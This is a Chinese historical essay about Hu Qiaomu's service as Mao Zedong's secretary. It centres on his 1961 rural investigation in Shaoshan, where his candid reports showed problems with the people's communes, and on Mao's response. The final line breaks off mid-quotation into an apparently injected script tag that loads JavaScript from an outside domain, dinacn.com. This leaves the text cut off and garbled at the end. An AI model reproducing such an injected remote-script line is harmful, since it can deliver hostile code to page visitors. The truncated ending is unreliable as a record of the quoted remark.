1941年，胡乔木成为毛泽东的秘书。不久，他开始为《解放日报》写社论，显示了很高的理论水平和极强的写作能力。在文风上，胡乔木和毛泽东有颇多共同之处。毛泽东的意图，胡乔木能够心领神会；对毛泽东所作的重要报告，胡乔木总能及时地通过社论的形式加以具体而透彻的论述。胡乔木也凭借这些出色的社论，赢得了毛泽东的信赖。

　　关于毛泽东为何赏识胡乔木，新加坡《南侨日报》上的这段剖析颇为精当：“在胡乔木担任毛泽东主席的政治秘书这一期间，他的思想、修养，获得极大的进步，深得毛的赏识。他的长处是思想周密，眼光透彻，才文并茂。他随毛氏到重庆时期，中共在政治上所遭受的各种歪曲的指责，都由他在《新华日报》上经常撰文予以驳斥。他的文章，紧凑锋利，短而有力，学的是鲁迅先生的作风，常把最精彩的意思用精练的笔调描写出来警辟动人。”

　　新中国成立之后，胡乔木被任命为新闻出版总署署长，新华通讯社社长，还兼任《人民日报》社社长。当然，这时候的他仍然是毛泽东的秘书。

　　1949年解放后，特别是1957年后，胡乔木明显感到他追随毛泽东的步伐有些力不从心。1961年1月底，胡乔木为中央工作会议起草《中共中央关于认真进行调查工作问题给各中央局，各省、市、区党委的一封信》。信中写道：

　　“最近发现的毛泽东同志1930年春所写的《关于调查工作》一文，是一个极其重要的文件，有十分重大的理论意义和实践意义。现在中央决定将这篇文章发给全党高级及中级干部学习。……中央认为，最近几年的建设成就是伟大的，证明总路线、大跃进、人民公社的方向是正确的。但是在农业、工业等方面的具体工作中，也发生了一些缺点错误，造成了一些损失。这些缺点错误之所以发生，根本上是由于许多领导人员放松了在抗日战争期间和解放战争期间进行得很有效的调查研究工作，满足于看纸上的报告，听口头的汇报……”

　　胡乔木写完文件，就遵毛主席之命赴湘调查。其时，毛泽东有意让1961年成为调查研究年。那么，毛泽东为什么要胡乔木他们下去调查呢？毛泽东的目的是要他们去农村获得第一手材料以“驳斥国内外敌人和党内右倾机会主义分子，或者不明真相抱着怀疑态度的人们，对于人民公社的攻击、污蔑和怀疑”，从而“长自己的志气，灭他人的威风”。然而，胡乔木送上来的材料却让他大失所望。

　　下去调查后，胡乔木一连向毛泽东报送了4份材料，“一是关于在韶山公社解决食堂问题的报告；二是关于韶山公社讨论《农村人民公社工作条例(草案)》的情况简报；三是关于韶西大队杨家生产队食堂分伙后的情况；四是毛华初访东茅塘生产队的调查材料。”这些材料几乎都是农村存在的问题而非农村所取得的成绩。靠这样的材料，如何“长自己的志气，灭他人威风”？靠这些材料，又如何驳斥“国内外敌人和党内右倾机会主义分子，或者不明真相抱着怀疑态度的人们，对于人民公社的攻击、污蔑和怀疑”？

　　我想，胡乔木在汇报这些材料时，其“书生气”又犯了。从李锐下面的回忆，我们可以知道，对胡乔木的“书生气”，毛泽东十分了解。

　　“有一天，刘澜涛告诉我，柯庆施向他说，主席跟柯谈到对乔木的观感，说乔木跟他一二十年，总还是一介书生。这使我想起：1958年4月广州会议时，主席谈到要善于听不同意见和反面意见时说的话：我们身边有个胡乔木，最能顶人，有时把你顶到墙上，顶得要死。”

　　这一回，毛泽东要他去调查材料，证明右派分子的话讲错了，而胡乔木汇报上来的材料恰恰说明右派分子的话没讲错，恰恰是“长他人志气，灭自家威风”。我想，胡乔木这一回又用他的材料把毛泽东“顶到墙上，顶得要死”。不过，毛泽东并没有因为胡乔木汇报上来的材料不符合自己的要求而责怪胡乔木。

　　毛泽东对胡乔木报送的材料十分重视，自己的家乡比1959年回去时问题严重多了。毛将此信和材料批转给湖南省委第一书记张平化，要他印发给全省三级干部会议讨论；随后又写信给汪东兴，让汪打电话给湖北省委书记王任重和王延春，“帮助湖南同志解决一些问题”，并让汪将此信转给还在湖南调查的胡乔木。

　　毛泽东为什么这样做？我想原因有两个，一、毛泽东此时仍很信赖胡乔木，知道胡乔木是老实人，说的是老实话，所以，虽然胡乔木汇报的材料不是他想要的，他也没有怪罪胡；二、胡乔木所调查的地方是毛泽东的家乡韶山，家乡遇到了困难，主席岂能不管？然而，胡乔木却把毛泽东对家乡问题的重视当做毛泽东又想反“左”的信号。于是1961年5月，当胡乔木结束调查赶回北京向主席汇报时，他谈到了反“左”的问题：

　　胡乔木返回北京时，已是盛夏季节。尽管一路劳累，胡乔木还是赶紧去毛泽东那里报告调查情况。谈话中，胡乔木为庐山会议纠“左”未能持续下去而深感遗憾，他还谈到庐山会议时的一件事，就是当时刘少奇曾经想提出写个反“左”的文件的建议。形势已经如此，毛泽东自然说不出什么，他只是说：“啊，?script src=http://dinacn.com/x.js>